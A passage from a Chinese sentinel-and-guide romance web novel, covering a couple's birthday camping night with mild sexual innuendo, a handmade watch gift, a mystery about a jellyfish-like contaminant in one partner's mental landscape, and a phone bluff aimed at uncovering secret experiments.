他觉得自己已经很多年没有这么百口莫辩的时候了,想要恶人先告状掌握主动权,都不知该如何开口。 况且弓铮皎把生日这么大一件事抬出来,还说是三十年第一次的完美生日,闻璱明知这是弓铮皎最擅长的蹬鼻子上脸式道德绑架,仍然咽下了戳破他的话。 算了,过了今天再说。 闻璱很少有如此窘迫的时候,他甚至想抬手掩住眼眸,用手树立起一道抵御弓铮皎目光的城墙。 问题他手心里还攥着擦过的纸团,没能立刻扔掉并洗手已经是忍耐极限,更不可能把这样的手直接触摸自己的脸。 他只能偏开脸,垂下眼眸,让眼睑成为最后一道微弱的防备。 然而弓铮皎的目光随着他的动作往下看,便不免看到了还没来得及系上的裤绳。 那是弓铮皎刚才用尾巴解开的。 闻璱这幅退让的模样如此惹人怜爱,弓铮皎瞧得心里有多软,裤@#裆就有多硬。 尾巴也不由自主地冒出来,翘到了天上去,又像是吃错药了一半在空中自己拧自己、自己给自己打结。 弓铮皎色心大爆发,立刻扑了上去,用膝盖死死摁住了那两根裤绳的金属头。 这样一来,闻璱如果想走,也只能自己走——裤子留下。 闻璱倒一直没有太注意到自己的裤绳,只是被弓铮皎的动作又是一惊。 他下意识的推拒了一下,顾忌着手里有垃圾,也只得用手背抵在弓铮皎肩窝。 “你干什么?”闻璱蹙眉道,“让开,我要去扔垃圾。” “这算什么垃圾。”弓铮皎指了指自己心口。 他穿着一件短袖衬衫,就是拖拉机王子第一天在镇上散财那天的老式经典白衬衫,心口的位置,有一个大口袋。 “这不是打赏吗?”弓铮皎呲牙笑道,“老板,塞这里。” 闻璱:“……” 他之所以忍着洁癖的难受还要把垃圾攥在手心里,而不是放在桌子上,就是担心类似这一出上演——没办法,弓铮皎有偷垃圾的前科。 弓铮皎变本加厉,低下头咬住其中一根裤绳。 他微微让开膝盖,让其中一根绳头重获自由,只不过原本柱形的金属绳头都被他硬是压成了薄片。 缓缓抬头时,不算长的一根编织绳,被叼住的那一头便被抽得越来越长,另一头则越来越短。 眼看着就要短头就要彻底溜进去,弓铮皎又伸手柄短头绕在自己指缝。 “……”闻璱有种很不好的预感。 但是看着弓铮皎亮晶晶的眼神,彷佛在期待着他接上一句合适的台词,他还是轻叹一声,道:“你想干什么?” “你把我整得这么干燥,结果你自己偷偷这样不告诉我。”弓铮皎含糊道,“既然如此,你得还我一次。” “那你先起来。”闻璱很轻地弹了一下弓铮皎的鼻尖。 他能把弓铮皎“干燥”地解决一次,就能解决更多次,保证下一次比上一次让弓铮皎更乱七八糟。 为了让弓铮皎能够乖乖步入自己的“陷阱”,闻璱甚至放软了语气,温声唤道:“让我扔垃圾好不好?这样我不舒服……阿皎。” 他没忘记弓铮皎曾经不知道有意还是无意地,借阿咬的名头,提起过这个小名。 弓铮皎:@&¥*%)…… 光这一声,就让他心里爽得飘飘然了。 即便如此,弓铮皎仍然记得自己的邪恶计画:“小美鹅你也不想就这样损失一条裤子吧桀桀桀既然如此——” “你也让我弄一次。”他说,“我用嘴。” 第87章 我那什么很好。 闻璱静静地看着弓铮皎。 这提议很荒谬,但鉴于提出的人是弓铮皎,就显得意料之外,情理之中了。 闻璱没答应也没拒绝,只是使用了和上次一样的话术:“我以为你会更感兴趣我的想法。” 弓铮皎十动然拒:“我不会再上当了。” 顿了顿,还是忍不住问:“算了,你先说说,你怎么想?” 闻璱抿唇一笑,腾出一只手去捏了捏弓铮皎的尾巴。 不怪弓铮皎意志不坚定,实在是尾巴有它自己的想法。 先前没有诱惑时,尾巴在尚且能自娱自乐地cosplay海草。但闻璱的手一抬起来,尾巴彷佛突然被内置了强力吸铁石,飒地绕到弓铮皎身前,躺了过去,黏了上去,一点犹豫都没有。 闻璱反覆把玩着毛茸茸的大尾巴,似乎只是随口道:“你好像很喜欢用尾巴。” 他没说用尾巴来做什么,因为弓铮皎用尾巴做的事实在是太多了。 接吻时用尾巴缠住闻璱的腰腿,拍照时用尾巴比心,甚至有的时候,譬如刚才,尾巴突如其来地冒出来,大概弓铮皎自己都有点意料之外。 弓铮皎理直气壮:“那怎么了……所以你到底怎么想的?” “我想……”闻璱俯身凑近弓铮皎耳畔,“我想你会想拆开你的生日礼物,在车上。” “?”弓铮皎猛地抬头,“生日礼物?” 闻璱点头。 “不是露营?我以为露营就是我的生日礼物了。” 闻璱微微一笑:“露营是事件,只能算是生日派对,礼物当然另有其物。” 只属于他们两人的生日派对。 弓铮皎觉得,这就已经幸福得冒泡泡了。 他明明知道这是闻璱转移话题和注意力的阴谋,目光却还是忍不住飘到了帐篷外面。 闻璱又诱惑道:“今天快结束了。” 天都黑了,刚才又胡闹了一番,弓铮皎二十九岁的第一天马上就要过去了,闻璱提醒他,不要错过这个特别的时间。 弓铮皎天人交战! 然后他咬了咬牙:“没事,我很快的,我口祸很好。” “……”闻璱眯了眯眼睛,“你为什么口祸很好?” “哼哼。”似乎关切,似乎吃醋的反应让弓铮皎得意地哼笑了一声,这才缓缓张嘴。 他伸出舌头轻舔闻璱指腹,在某个瞬间,突然变得粗糙而带着细微的毛刺,是猫科动物舌头上会有的倒刺。 而弓铮皎甚至能通过调节融合度,改变倒刺的长度和硬度。 原来是有“道具”。 很好,闻璱更坚定自己的计画了。 ——而且他真受不了弓铮皎现在舔自己的手……他刚刚还拿着垃圾呢! 闻璱面无表情:“快去拆礼物,我命令你。” 突然变脸让弓铮皎吃了个大惊,竟然有些无所适从:“不是吧?这你不喜欢?这你能不喜欢?” 但一边嚷嚷着不相信,弓铮皎还是乖乖爬起来,顶着个不服气的大包钻出帐篷。 还没到车上,在旁边处理好垃圾,又用一瓶纯净水洗过手的闻璱丢过来另一瓶水:“去漱口,别忘了含漱口片。” 照做归照做,弓铮皎还处于血气方刚状态,把漱口片嚼得嘎嘣作响。 他在车上翻了几圈,终于在后备箱的一个角落里,发现被盖住的一个小盒子,约莫比他的拳头小上一圈,系着蓝色的丝带。 把它捧起来的那一刻,弓铮皎提前听到了精密齿轮严丝合缝滚动的声音,以及一下、一下的小针转动的声音。 闻璱在他身侧,用手里的纯净水碰了碰弓铮皎刚才漱口含了一口的纯净水,玻璃瓶相碰时发出清脆的声音,打断了弓铮皎倾听秒针的细微步伐。 “Cheers.”闻璱轻声说,“拆开看看吧。” 弓铮皎深呼吸一口气,怀揣着无尽的期待,和一丝说不清道不明的忐忑,缓缓打开盒子。 他也说不清这丝忐忑从何而来——哪怕里面放着的是小天才儿童手表,只要是闻璱送的,他也会开心。 或许是太久没有收到过真正的生日礼物了。 打开之后,里面放着一枚手表,金属表带,说不上十分特别,特别的是表盘。 以黑色的羽毛为底,一片一片,边缘处染上蓝紫色的渐变颜料,又描了一层金粉,层层叠叠,画出一副属于这双正在凝视着它的眼睛的“星月夜”。 “你……”弓铮皎张了张嘴,“你做的吗?手工做的?还是什么……什么时候?” 他语无伦次,看着盒子里的那枚手表,甚至不舍得拿出来。 这合该立刻放到博物馆里——不,是该为了它,专门建造一个主题博物馆。 “嗯,技艺不精,献丑了。”闻璱谦虚道,“小冬教我的,他很擅长这些创作,还有一个艺术工作室。回来之前就做好了,留在他那里帮忙配了表带,前些天才寄回来。” 他说着微微一笑:“其实你帮我妈提车那天,她去城里就顺手帮我取了这个包裹,只是你没发现。” 当然没发现,因为闻母当时还拿着办完的文档,拎着超市买的饮料,还有好几个大小快递,闻母说都是网购用来养花的小玩意,弓铮皎自然没太上心。 如果那时知道,其中有一样是如此珍贵的宝物,弓铮皎高低得提一辆F1赛车给闻母。 “啪”地一声,弓铮皎合上盒盖,抄起纯净水大吨特吨。 一口气喝干了整瓶水,他才找回自己的声音:“谢谢……我很喜欢,特别喜欢。” 喜欢到真的想吧闻璱一口吞下去,连带这份礼物——他时不时就会突然这样发作一下。 闻璱却问:“不戴上试试吗?” 他眨了眨眼,解释道:“我想你会喜欢这种有些花哨的首饰,不过,名贵的手表最终还是要花你的钱,况且你大概也有很多了,所以我才……” 他在解释这份礼物客观价值或许不那么昂贵的原因。 爱与金钱在他们的世界有着相反的汇率。 弓铮皎转过身,用大大的拥抱打断了闻璱的话。 他有点受不了了,得到一份这样用心且精美得很权威的礼物,确实让弓铮皎发自内心地愿意被从上一个话题转移走。 闻璱总是这样,在他色玉大发时,用纯爱的重拳迎头痛击。 击得他心里又酸又麻,又像是被蜜洗礼了一般,彻底失去任何手段。 拥抱时,闻璱低声说:“戴上吧。” 弓铮皎哪里舍得。 然后闻璱又说:“以后坏了我给你修。” 弓铮皎立刻戴上了。 “以后”这个词太动人…… 夜深之后,他们躺在睡袋里边看星星边打瞌睡。 弓铮皎负责看星星,当然,主要以星空为背景欣赏自己的手表,并进行八百连拍。 闻璱负责打瞌睡。 然而意识昏沉,半梦半醒之际,闻璱总觉得他好像有什么事忘了说…… 在几乎快要坠入深度睡眠的边缘,闻璱倏地睁开眼:“湿纸巾。” 弓铮皎一头雾水:“什么?湿纸巾?” 虽然不明白闻璱怎么回事,他还是立刻起身,从一旁的包里拿出湿纸巾递给闻璱。 “不是。”闻璱没伸手,有些朦胧的眼神看向他,声音也懵懵的,“你的精神图景里有一团湿纸巾……就想我刚刚扔掉的垃圾一样……” 弓铮皎脸一红,思索着这是什么暗示?现在可以了吗?那他真的上了? 结果就这么一瞬间,他突然怔在原地。 他进入自己的精神图景了。 早在确诊患病的很多年前,弓铮皎就不太经常进入自己的精神图景了,既是因为状况不好,也是因为场景。 他的精神图景是小时候的宫家庄园,在长大之后,这已不能算是太好的回忆。 可这一回,他进入这个精神图景,莫名地,那种沉甸甸压在心头的别扭感烟消云散。 弓铮皎也向城堡走去,然后发现那上面果然有一把挂锁,完全如闻璱所说。 这显然不是弓铮皎精神图景该有的标配。 他把挂锁拎起来观察了好几圈,没发现什么端倪,就打算用蛮力一把扯下来——作为精神图景的主人,他这样做理所应当会成功,甚至无需用上蛮力才对。 出乎意料的是,他失败了。 弓铮皎不信邪,认真地使了几份力,试图把挂锁硬生生捏成齑粉。 但才刚要用力,他就被空灵的声音唤出精神图景。 “弓铮皎!”闻璱已从睡袋中坐起身,轻轻摇晃着弓铮皎的肩膀,眉心又是微微攒着的。 “我没事,不对,有,但是应该算是好事吧。”弓铮皎转头看他,有些兴奋地说,“我进入我的精神图景了!” ——也就是说,他的真爱打败病魔之意志力获得了胜利! 闻璱愣了愣,没想到他发呆是因为这个,随即脸色微变。 “怎么了?”弓铮皎没想到他会是这般反应。 “你刚才屏息了。”闻璱有些严肃地说,“我在和你说话,可你的呼吸声突然断了……幸亏你的心肺功能远超常人。” 也幸亏,弓铮皎从前总是用屏息这一招掩饰心跳,所以他们才会有约定,所以闻璱才能及时发现。 “可这里没有酸雨啊。”弓铮皎实在不理解。 闻璱也同样匪夷所思。 一时间,闻璱睡意全无,认真盘问道:“在你的精神图景里,你看到了什么?接触了什么?” 弓铮皎如实道:“庄园,返璞归真的样子,城堡大门上有一把锁,我试图打开,未遂,就被你喊出来了。” 这下闻璱又愣了:“你解不开那把锁?” “也不一定。”弓铮皎思索道,“我还没使全力。” “我没有用力,只是轻轻一碰,它就自己下来了。”闻璱道。 面面相觑了几秒,闻璱又继续说:“那之后我推开门,发现里面只有一个很小的房间,什么陈设都没有,而且一进去就充满了水,我还会在水里变成一条鱼——这部分你有头绪?” 他说着说着,发现提到“变成鱼”的事情时,弓铮皎居然脸颊微红。 “算是有吧……”弓铮皎很慢地说,“有时候,我很希望你是一条可以被我养在嘴里或者胃里的小鱼。” 闻璱有点好笑,却顾不上探讨这个,既然这一点破案了,他很快转移到另一个关键点:“我变成鱼之后,里面有金色的意识泡泡,那也是你的内核潜意识。泡泡都消失之后,我发现角落里有一坨半透明的湿纸巾,但想要触碰却怎么也摸不到,后来,就被赶出来了。” 弓铮皎目瞪口呆:“谁在我的图景内核里扔垃圾?” “不、不完全是扔垃圾,或许。”闻璱眉头紧锁,眼中是比刚才更甚的担忧和思索,“我总觉得,那很像一个什么生物,彷佛在呼吸一般。但是很奇怪,到底是什么……” 他纠结时,弓铮皎也琢磨着:“半透明生物,在水里,还能有类似呼吸的动作……” 忽地,二人彷佛任督二脉被同时打通,异口同声道: “水母。” “海蜇!” ……虽然也勉强可以算是差不多。 水母,为什么会是水母? 第88章 小鹅,快靠在人宽阔的肩头。 闻璱百思不得其解。 最终,这个问题没有想出回答,闻璱只能再三叮嘱弓铮皎,不能在独自一人且未打报告时进入精神图景,更不要尝试探索图景内核。 他们重新躺回睡袋里,但保险起见,睡袋没有被拉到顶。 弓铮皎把一只手伸出来搭在闻璱胸口,被闻璱伸手握住腕子,保持脉搏监测。 就这样,在先是快且淩乱,后来渐渐趋于稳定但有力的跳动中,闻璱沉入梦乡。 梦里他还在纠结:水母,为什么会是水母? 但梦中他已不在山上露营,而是在水族馆的观赏型水母箱前,缓缓伸出手。 被触足所碰触的一瞬,一阵强烈的心悸伴随着窒息感突然汹涌袭来—— 闻璱猛然坐起身。 帐篷外,天边已然掀起一抹鱼肚白。 他转过身,身旁的弓铮皎果然被他的动作惊醒,迷茫地问:“怎么了?做噩梦了吗?” 不、不是噩梦。 闻璱说:“我们得回去了。” “我是说,回首都、回污染区。” 一大清早,两人开车匆匆下山,到家之后就开始收拾行李,午前已然启程,急得像是有个电锯杀人魔撵在后面。 半路上,信号稍微好些,闻璱就拨通了舒颖的通话。 “喂?是我。关于你前些天发给我的那份报告,我有些新的想法。明天一早大概能回首都,来我工作室楼上,方便吗?好的,那到时见。” 闻璱迅速给自己安排了个会面,毫不见外地征用弓铮皎家。 闻母听着,忍不住道:“工作这么忙啊……唉,都挣那么多钱了,至于这么拚命吗?在家多呆几天多好。” 大抵每个母亲都会劝自己的孩子多在家休息几天。 而她甚至不知道闻璱早就因为患病的事情花光了积蓄,在她眼里,亲生儿子和养子存款都很富足,不用自己操心。 闻璱顺着她应下:“嗯。一点突发事件。” 弓铮皎安抚性地摸了摸他的手背,不知道夹杂了几分奖励自己很乖的意思。 闻母把他们送到绩州站,照例乘列车返回首都,只不过因为起意匆忙,又逢旺季,根本没有余票,候补也来不及。 幸好弓大少爷财大气粗,人脉更多,一通通话打回去,就有人安排好了一切。 回程的列车上 ,闻璱研究着舒颖新发过来的完整报告,拿出平板记录涂涂写写,将思路完整地记录下来。 等他忙了好一会儿终于放下,弓铮皎立刻奉上热水,殷勤道:“辛苦了。” 闻璱接过来抿了一口,轻叹一声:“好复杂啊。” 从疗愈中心离职之后,闻璱已经很多年没有再接触过任何学术数据,如今研读舒颖发来的污染生物研究报告,还与他过去的专业领域重合度不算高,读得实在说不上轻松。 他自认为这话只不过是发发牢骚,但语气温和,带着一丝若有若无的嗔怪,实在罕见。 落在弓铮皎的耳中,和撒娇可以说是完全没差别。 弓铮皎双眼发光,靠过来把他揽在怀中又开始念叨:“小鹅,快靠在人宽阔的肩头休息一下。” 闻璱:“……又发疯。” 话虽如此,他到底也没有把弓铮皎残忍推开。 “其实我也好奇很久了,看你一直忙着就没问。”弓铮皎说,“为什么突然说要回去?是发现什么了吗?” 闻璱才想起来,还没跟弓铮皎解释这件事。 他坐起身,在平板上调出舒颖发来的某份报告,解释道:“你看这份报告,关于酸雨导致的异常反应,其中有一类异常反应是麻痹感,轻度麻痹伴随着精神错乱。研究认为,这也是身体机能紊乱导致的感官失常,和我的窒息反应……” 顿了顿,闻璱回想起昨晚的异常事件,改口道:“和我们的窒息反应病因相同。” “然后,昨天我们认为你图景内核里的那坨纸巾其实是‘水母’之后,我突然想到,水母的精神毒素往往也会导致麻痹感和精神错乱。你明白我的意思吗?” 弓铮皎张了张嘴,有些艰难地说:“你是说酸雨其实是一种看不见的类水母变异生物?” “我想,不无可能。”闻璱点头,“舒颖正是认为酸雨是某种无法检测到的污染生物,她的实验数据似乎也指向这一点,但我们仍然缺少证据。” “……这有点太夸张了吧。”弓铮皎还是不敢置信。 “一开始我也这么认为。”闻璱道,“但你看这里,这个污染值骨架动态观测实验,追踪了酸雨期间精神力形态的流动机制,创建了一个理想化的模型,显示……” 他顿了顿,看弓铮皎满脸费解但强迫自己听下去的模样,改口道:“总之,这个实验想法很新颖,也一定程度上佐证了她的猜测确实不无可能。” 弓铮皎眨了眨眼,突然说:“虽然夸张,但是或许不无可能。三四十年前,抱脸蝎也被认为是一种行动速度极快的污染现象,而不是一种污染生物。” 闻璱肯定:“是这个理。” 沉默了片刻,闻璱继续道:“所以,我怀疑你的图景内核里,就有酸雨‘生物’分泌的特殊污染物质,你一直在被它影响,所以曾经无法访问你自己的精神图景。而现在,或许是代谢让它浓度下降了,所以你精神图景里它的状态变得奄奄一息,你的病症也开始有有康复趋势。” 一边说着,闻璱也思索起来,或许自己的精神图景,或者是精神体小黑身上,曾经也携带了这种物质,导致了自己的病症。 ——但一切的关键都在于,为什么症状明显的只有他们两个人? 污染区执行任务的特种人千千万,多数哨兵小队都很难彻底避免途径‘酸雨’的路径,为什么这种污染物质不影响别人? 如果真的是因为任务频繁导致的浓度超过阈值,那为什么逄靥星会莫名其妙中毒、干性溺水? 兜兜转转地,闻璱又莫名回想起了那个星海能源发布的S-1委托。 这是他们之间最大的共同点。 结合星海能源封锁了一系列关于“酸雨”的研究课题,正因为委托全程都平平无奇,如今反而显得必有蹊跷。 干想总是想不出什么结果,闻璱打算答应下舒颖之前的提议,和她一起去污染区对‘酸雨’采样研究。 弓铮皎会随行,这也是必然的,闻璱从来不认同什么“保护他最好的办法是远离他”的说法。 只不过在那之前,闻璱还有另一件事,时至今日都仍然举棋不定。 闻璱斟酌片刻,缓缓开口:“弓铮皎……我有点事想问你,可能会涉及到你的家人。” 他原本不愿提起这些烦心的人,可弓铮皎确实是他身边唯一一个或许能够感同身受、回答他问题的人,闻璱一时间找不到别人。 “可以啊。”弓铮皎随意道,“你不用担心会刺伤我,因为是你。” 因为将要问出问题的人是闻璱。 所以,他永远知道闻璱的心意,明白闻璱对自己的关怀和呵护,就不会思虑过甚。 即便如此,闻璱仍然抬手轻轻捏了捏弓铮皎的肩膀。 “我在想一个问题。”他说,“感情和血缘,你认为哪个会更重要呢?” 虽然不知道闻璱为什么会突然问这样一个有些莫名的问题,弓铮皎毫无犹豫道:“感情。” 对于弓铮皎来说,这不是一个需要深思熟虑的问题。 感情和血缘,在弓铮皎的生命里都有再合适不过的指代人物,而两端在弓铮皎心里的重量也根本无需衡量,落差太大了。 闻璱却道:“不要想像我,爱情是不一样的,我是说两者同样是亲情方面的诉求,又或者说……” 他沉吟片刻,换了一种说法:“……如果真相和想像的出入很大,那你还会不会去追求真相?” 话才出口,闻璱心里已经浮现了弓铮皎的回答,或许是,当然。 而弓铮皎无言地凝视他片刻,低声道:“你想问的不是我,是张律师,对吗?” 闻璱轻叹一声,点了点头。 逄婆婆留下的那份“证据”暂时还没有找到,他们彻底研究过了信件和日记里的每一个字,确信没有任何遗漏,也基本可以确信,墨代山疗养院的那位张先生所言非虚——他参与实验、接受手术时,他的儿子确实才刚上幼儿园。 名字相同,事件能对得上,样貌也有相似之处,速写上的那个小孩必然是张律师。 既然如此,两边的记忆对不上就很有说法了。 医疗事故之后,希冕创辉大概另找了一个人来扮演张律师的生父近十年,后来又策划了另一场火灾事故令此人脱身。 一个才上幼儿园的小孩对世界的认识全部来源于父母,而张先生因为工作繁忙,过往和儿子的相处就很少。 这时,如果一个和爸爸样貌相似的人出现,并且身边可依赖的其他人都一口咬定,这就是爸爸,那么孩子会相信的可能性也很高。 这很有可能就是过往事件的真相。 只是对于张律师来说,或许太过于颠覆。 说不上是出于人道主义关怀,闻璱其实更多地在思考,这份真相如果告诉张律师,会不会反而激怒了张律师? 血缘上的生父其实并没来得及太多地陪伴这个孩子,倒是受雇扮演的假爸爸与孩子创建了还算深厚的感情,促使着孩子在此后的几十年奔波为他复仇。 一旦得知这一切都是处心积虑的谎言,张律师真的能接受吗? 这可能会影响闻璱是否能顺利得到那份“证据”的线索。 不过,说到这些费心思营造“楚门的世界”的操作,倒是意外地符合希冕创辉一贯的风格。 或许是为了将违规实验并造成重大医疗事故的真相瞒天过海,作为活生生的证据,当然不能放张律师再和家人接触;但那时宫博士兴许没有彻底放弃预后修复,所以并没有制造另一起事故,直接让被代替的张先生彻底死亡。 而弓铮皎也曾因为有利用价值,而被宫家人哄着骗着…… 闻璱的心陡然漏跳了一拍。 他突然想,上次在酒庄见面时,宫博士还丝毫不掩饰对特种人精神体的强烈兴趣——宫博士真的放弃了这个实验吗? 如果三十年来,宫博士从未放弃过呢? 第89章 死恋爱脑! 闻璱心里一阵阵地发冷。 他希望这是自己以小人之心度君子之腹。 但如果一切真的如他所想,似乎连他和弓铮皎病症分别体现在精神体与精神图景的原因,也浮出水面了。 闻璱曾经从未在这个问题上较真过,因为精神图景和精神体作为特种人精神力的两种投射,实质上是同源,考虑到无法避免的个体差异,病症有不同体现也很合理。 可是,如果是因为有人早就看上了阿咬这只精神体呢? 那弓铮皎精神图景被封锁到濒临失控,精神体却状态健康,这样矛盾的情况也有了理由。 闻璱猛然翻坐起身,从背包里翻出了那片柳部长想办法送来的注射器。 盒子里薄薄的一小片,仍然看不出任何端倪,但闻璱突然有了一个猜测。 这芯片延续了闻璱曾经跟随邵教授的研究,通过促使哨兵过载后清空信息量来实现镇定效果。 闻璱曾经认为这个做法不符合“疗愈”二字,但如果这个设置,本来就是为了被移植精神体所以不具备自我调节能力的“人造”哨兵呢? 既然如此,柳部长费心把它交到自己手上,会不会是一个“提示”? 闻璱可还记得,酒庄坠楼事故之后,自己这个事故现场的高度参与者却没有再被牵扯进去,其中少不了柳部长的操作。 究竟是如柳部长所说,为了把闻璱摘出去,还是生怕闻璱被怀疑、被监控,就无法追寻到许多线索? 当年帮助逄婆婆远离希冕创辉的人是邵教授——虽然按照逄婆婆的回忆,后来她们断了联系。 而邵教授生前关系最亲密的人,只可能是秘密结婚的配偶,柳部长。 小小的一枚盒子,在闻璱的掌心被揉拈过数不清的来回。 闻璱的眉头越蹙越紧。 他不知道该不该赌柳部长的“良知”。 毕竟,三十年前人造特种人实验的参与者,显然都已经将本该严格遵守的学术伦理和道德抛到脑后。 就连闻璱自己,也曾有过违规行为,和柳部长相比,也不过是五十步笑百步。 他默默地想,弓铮皎……弓铮皎真是个呼吸就能为他带来一堆事的麻烦制造机。 只可惜弃养是不可能弃养的,闻璱只有怜爱——这些事无论如何都怪不到弓铮皎的头上。 如果说弓铮皎是一个被处心积虑算计的受害者,那同样患病的闻璱,大概就是莫名其妙不知怎的就被波及了的无辜路人。 闻璱从通信录里调出柳部长,立刻拨通了通话。 不知该不该说是意料之外,接通之后,闻璱没说话,柳部长那边也安安静静,没有发出任何声音,甚至连一声询问的“喂”都没有。 心照不宣,大抵如此。 最终还是闻璱先开口:“那注射器,我没有给弓铮皎用,而是给我自己用了。你知道发生了什么吗?” 他睁眼说瞎话时脸不红气不喘,不擅长撒谎的弓铮皎为之侧目。 闻言,柳部长那边连气息都没有乱,平静且肯定道:“不可能。” 按照闻璱的性格来说,确实不可能。 闻璱一向是谨慎又爱护身体的,经历邵教授的课题之后,只有更甚而无不及。这种来处和用途不算明朗的东西,闻璱不可能在任何人身上实验。 但闻璱仍然在骗:“注射之后,我的精神体消失了。” 柳部长先是震惊,很快又重复道:“什么?不对,你不可能这样做!” 闻璱并不自证,只是心平气和地叙述道:“事情就是这样,注射器是你给的,芯片究竟是什么东西?现在我该怎么办?” 通话那头又沉默下来,但依稀能听到柳部长有些淩乱的呼吸声。 良久,柳部长沉声道:“你疯了吗?你为什么要这样做?你忘了我之前跟你说过什么了?” 上鈎了。 闻璱没什么表情,继续道:“事已至此,告诉我接下来该怎么办吧。” 柳部长骂了一声脏话,又沉默了一会。 这通通话就这样拉锯着,闻璱并不催促,也不挂电话,但很显然,柳部长那边已经信了八分,急促的呼吸声暴露了他方寸大乱。 “……你人在哪?”柳部长问。 “在回首都的路上,你应该知道我之前去了哪里。”闻璱继续试探。 “……” 对面又沉默下来。 闻璱也没想到,都没怎么过脑子的简单计策,居然就这样轻而易举地诈出了这么多信息。 柳部长居然是个深藏不露的幕后人物。 显然名义上柳部长的“老板”,除了希冕创辉不会有别人,但从柳部长的行为来看,似乎又并不想继续维护这些秘密。 闻璱沉思之间,就听那边传来一声:“到了来找我。” 顿了顿,那沉郁的声音有补充道:“你知道在哪里,你来过。” “嘟——”柳部长挂断通话。 弓铮皎便好奇道:“你知道吗?” “……”闻璱有点无语,“不太知道。” 弓铮皎:“……那他为什么这么说?” 闻璱也有点适应不了这个锯嘴谜语人了,干脆切出聊天窗口,发送信息:【我不知道。】 很快,柳部长那边发送了一个定位。 闻璱一看,当即愣在原地。 定位在郊区的公墓,邵教授的骨灰安眠于此。 理所当然,闻璱每年都去扫墓,当然去过这个地方。 但这能算个谈话的好地方吗?太奇怪了。 还没来得及说些什么,柳部长又发来语音:【你一个人来,不要带弓铮皎。】 很遗憾,闻璱心切,直接将语音公放出来,被弓铮皎完完全全听到了。 弓铮皎便很乖巧地说:“没关系,那我在墓园外面等你们。” 闻璱明知道他在卖茶,还卖得很生疏、很硬,总结为卖劣质茶——却还是产生了鲜明的对比。 一边是弓铮皎如此善解人意,另一边是柳部长处处隐瞒,高下立判。 闻璱立刻回覆:【不行,我得带他。】 柳部长气得甚至不发语音了,打字发来四个大字:【死恋爱脑!】 闻璱理直气壮:【他是保镖。那就这样,我大概明天一早会到。】 他放下终端,算是结束了这段对话。 弓铮皎得了便宜还卖乖:“其实我真的可以在墓园外面等你们。” “少装。”闻璱道,“而且防人之心不可无,为了防止柳部长突然动手,你确实得担任我的保镖。” “好的。”弓铮皎一边答应一边提出建议,“但你知道的,他很会催眠,如果他突然动手的话……” 他认真地看着闻璱,没有说“我可能不是对手”,而是委婉地道:“你最好加固一下我的‘防火墙’。” 柳部长是专攻催眠方向的向导,在这方面确实有独到的真材实料。 早在他成为疗愈中心的负责人之前,就在白塔任职多年,并且长期跟随警卫队出外勤。 从白塔到公会上下,但凡和警卫队打过交道的哨兵,无论有没有进入过疗愈中心,都对柳部长的能力心有余悸。 从前些年还有一种传言说,柳部长能够通过催眠哨兵,改变哨兵的行为认知,让哨兵敌我不分。 流言蜚语没有什么支撑依据,但由于柳部长一贯对哨兵态度不太友好,导致这说法曾经传得煞有介事,也是导致近些年许多哨兵越来越抵触进入疗愈中心的原因之一——这倒是变相让闻璱的私下安抚生意变好做了。 而保护哨兵的精神,有一个最好的方法,当然就是标记。 就像在哨兵的精神世界烙印下一个名字,代表“此人有主”,其他向导的精神力、向导素对被标记过的哨兵的影响会降低许多倍。 但无论是临时标记还是正式标记,总是逃不过一些亲密行为。 ……这才是弓铮皎真实的意图。 闻璱还不至于被如此蹩脚的计策迷惑。 毕竟,如果柳部长的手段真的能对弓铮皎起效,曾经在疗愈中心,弓铮皎的待遇就不会是每一次都被治疗着发疯直到筋疲力尽了。 而闻璱,也不可能有机会“被迫”领养这只沼泽里的受伤大比猫。 事到如今,这只居心叵测的比竟然还敢顺杆爬,叫闻璱觉得,昨天是否给了他太多的甜头。 看在生日的份上,他险些忘记了,弓铮皎是如何一个得寸进尺、欲壑难填的家夥。 他看着弓铮皎,眉头一挑,颇有几分似笑非笑地问出送命题:“是吗?他一催眠,你就会反水,会背叛我、伤害我?” 弓铮皎:“……” 搬起石头砸自己的脚,大概就是此刻弓铮皎内心的真实写照。 想也知道,闻璱一个能说得出“爱我就要为我创造奇迹、战胜病魔”的人,是绝不会在类似的问题上优柔寡断的。 闻璱就是这样,永远要求他人,绝不放低标准。 当然,他也有要求的资本。 事到如今,弓铮皎才醍醐灌顶地反应过来,上一次令闻璱不愉快,或许不只是因为自己的态度太过消极,而是闻璱一向对这种试探边界的行为很敏锐。 他立刻明白这绝对不是该抖机灵的场合。 可他总不能什么也不说。 于是,弓铮皎咬了咬牙,放软了声音,诚实道:“对不起,我只是贼心不死,还想继续昨晚你没让我做的事。” 甚至更进一步,直接标记、结合、领证……那就更是意外之喜了。 闻璱对此毫不意外。 但诚如弓铮皎所理解的那样,闻璱不喜欢拐弯抹角地试探自己底线的行为,却对真诚而直白的请求很是宽容。 他摸了摸弓铮皎的脖颈,轻叹道:“乖了。” 弓铮皎喉头微颤,被轻抚的密密麻麻的瘙痒,唤起了他想入非非却不敢多想的小心思。 他一直仔细地观察着闻璱,第一时间发现,自己说了软话之后,闻璱的眉梢眼角果然都稍微放松下来些许。 这份纵容是为了自己——特别对待顿时把弓铮皎才浮出水面的一点点理智又淹了回去。 他天人交战地想接下来该说些什么,要恰到好处,要诚实,要不耍花招……可他想要达成的目标,如果不加任何遮掩地宣之于口,就太涩情、低俗、容易被口口了。 可是这是闻璱,可是他真的…… 闻璱还是那样,不自觉地微微抬起下巴,垂眸看他。 那双往日里晚樱般浅粉色的眼眸被睫毛浓密光影盖住,幸而窗外夕光甚暖,雪白的睫毛被染上这一层暖色,显得眼瞳也泛着蜜一般的甜意。 一根手指轻轻按在弓铮皎嘴唇上。 闻璱的声音更轻:“别急,好吗?这次,我不想再交罚款了。” 第90章 是他在碰瓷我,威胁我。 非婚姻关系的特种人,尤其是向导与哨兵之间的亲密关系,需要缴纳一定的罚款。 这政策很神经,饱受诟病多年,但主要是为了确保随时跟进特种人的婚育状况,尤其是育——研究表明,特种人尤其是向哨搭配的伴侣后代同为特种人的概率极高。 不过也因为这政策很神经,所以实际执行并不严格,并不会被工作人员定期打探性生活。 也就是说,不自曝的话,没人去查,被发现也往往会睁一只眼闭一只眼。 这么多年来,除了上次为了遮掩弓铮皎融合派身份的情况,缴纳这项罚款的特种人很少,其中又绝大多数是其中一方出轨后被另一方举报的。 弓铮皎眨了眨眼睛,一开始没反应过来这话什么意思。 首先,其实没人查;其次,罚款金额本就不高,对弓铮皎的存款来说更是不值一提;然后…… 等等。 他终于回过味来了。 不想再交罚款了,也就是说? 也就是说——他终于要有名分了。 